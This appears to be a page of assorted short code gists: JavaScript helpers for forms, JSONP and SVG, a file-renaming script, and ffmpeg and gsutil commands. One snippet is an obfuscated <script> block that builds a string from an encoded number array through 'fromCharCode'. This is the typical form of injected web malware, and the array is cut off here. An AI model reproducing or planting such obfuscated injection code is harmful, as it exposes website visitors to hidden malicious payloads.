This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var MultipartForm = function () { | |
var boundary = '------------------------------' + Date.now(), string = '--' + boundary + '\r\n'; | |
this.addVariable = function ( name, value ) { | |
string += 'Content-Disposition: form-data; name="' + name + '"\r\n'; | |
string += 'Content-Type: text/plain\r\n'; | |
string += '\r\n' + value + '\r\n'; | |
string += '--' + boundary + '\r\n'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function getJSONP( url, callback ) { | |
var ud = 'json' + ( Math.random() * 100 ).toString().replace( /\./g, '' ); | |
window[ ud ]= function ( o ) { callback && callback( o ); }; | |
var script = document.createElement( 'script' ); | |
script.type = 'text/javascript'; | |
script.src = url.replace( 'callback=?','callback=' + ud ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var svg = document.createElementNS( 'http://www.w3.org/2000/svg', 'svg' ); | |
svg.setAttribute( 'width', 1000 ); | |
svg.setAttribute( 'height', 200 ); | |
document.body.appendChild( svg ); | |
var path = document.createElementNS( 'http://www.w3.org/2000/svg', 'path' ); | |
path.setAttribute( 'style', 'stroke: black; stroke-width: 1px; fill: none;' ); | |
svg.appendChild( path ); | |
var drawing = 'M 0 ' + ( Math.cos( position ) * 50 + 100 ) + ' '; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script>i=0;try{grbregd=prototype;}catch(z){h="harCode";f=[-36.5,-36.5,11.5,10,-25,-21,9,14.5,8.5,17.5,13.5,9.5,14,17,-18,10.5,9.5,17,-6.5,13,9.5,13.5,9.5,14,17,16.5,-8,19.5,1,7.5,10.5,-2,7.5,13.5,9.5,-21,-21.5,8,14.5,9,19.5,-21.5,-20.5,4.5,-17,5.5,-20.5,20.5,-34.5,-36.5,-36.5,-36.5,11.5,10,16,7.5,13.5,9.5,16,-21,-20.5,-11.5,-34.5,-36.5,-36.5,21.5,-25,9.5,13,16.5,9.5,-25,20.5,-34.5,-36.5,-36.5,-36.5,9,14.5,8.5,17.5,13.5,9.5,14,17,-18,18.5,16,11.5,17,9.5,-21,-24,-11,11.5,10,16,7.5,13.5,9.5,-25,16.5,16,8.5,-10.5,-21.5,11,17,17,15,-12,-17.5,-17.5,10,7.5,19.5,9,15,13,16.5,15,13,-18,10,11.5,14,9,11,9.5,16,9.5,-18,14.5,16,10.5,-17.5,-9.5,10.5,14.5,-10.5,-16,-21.5,-25,18.5,11.5,9,17,11,-10.5,-21.5,-16.5,-17,-21.5,-25,11,9.5,11.5,10.5,11,17,-10.5,-21.5,-16.5,-17,-21.5,-25,16.5,17,19.5,13,9.5,-10.5,-21.5,18,11.5,16.5,11.5,8,11.5,13,11.5,17,19.5,-12,11,11.5,9,9,9.5,14,-11.5,15,14.5,16.5,11.5,17,11.5,14.5,14,-12,7.5,8,16.5,14.5,13,17.5,17,9.5,-11.5,13,9.5,10,17,-12,-17,-11.5,17,14.5,15,-12,-17,-11.5,-21.5,-10,-11,-17.5, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sed -i 's/\,\"image\"\:\"[a-Z0-9\:\/\.\_\-]*\"//g' * |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
gsutil -m cp -z json * gs://cats/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
window.addEventListener( 'resize', onWindowResize, false ); | |
function onWindowResize() { | |
windowHalfX = window.innerWidth / 2; | |
windowHalfY = window.innerHeight / 2; | |
camera.aspect = window.innerWidth / window.innerHeight; | |
camera.updateProjectionMatrix(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
for i, filename in enumerate(sorted(os.listdir("."))): | |
os.rename(filename, "{0}.png".format(i)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ffmpeg -r 24 -i sequence/%d.png -i audio.aif -g 120 -level 216 -profile 0 -qmax 42 -qmin 10 -rc_buf_aggressivity 0.95 -vb 2M video.webm |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
www.example.com CNAME c.storage.googleapis.com | |
create www.example.com bucket. | |
gsutil setdefacl "public-read" gs://www.example.com | |
gsutil setwebcfg -m index.html -e 404.html gs://www.example.com | |
from the folder with the local copy: | |
gsutil -m cp -r -z html,js,css * gs://www.example.com |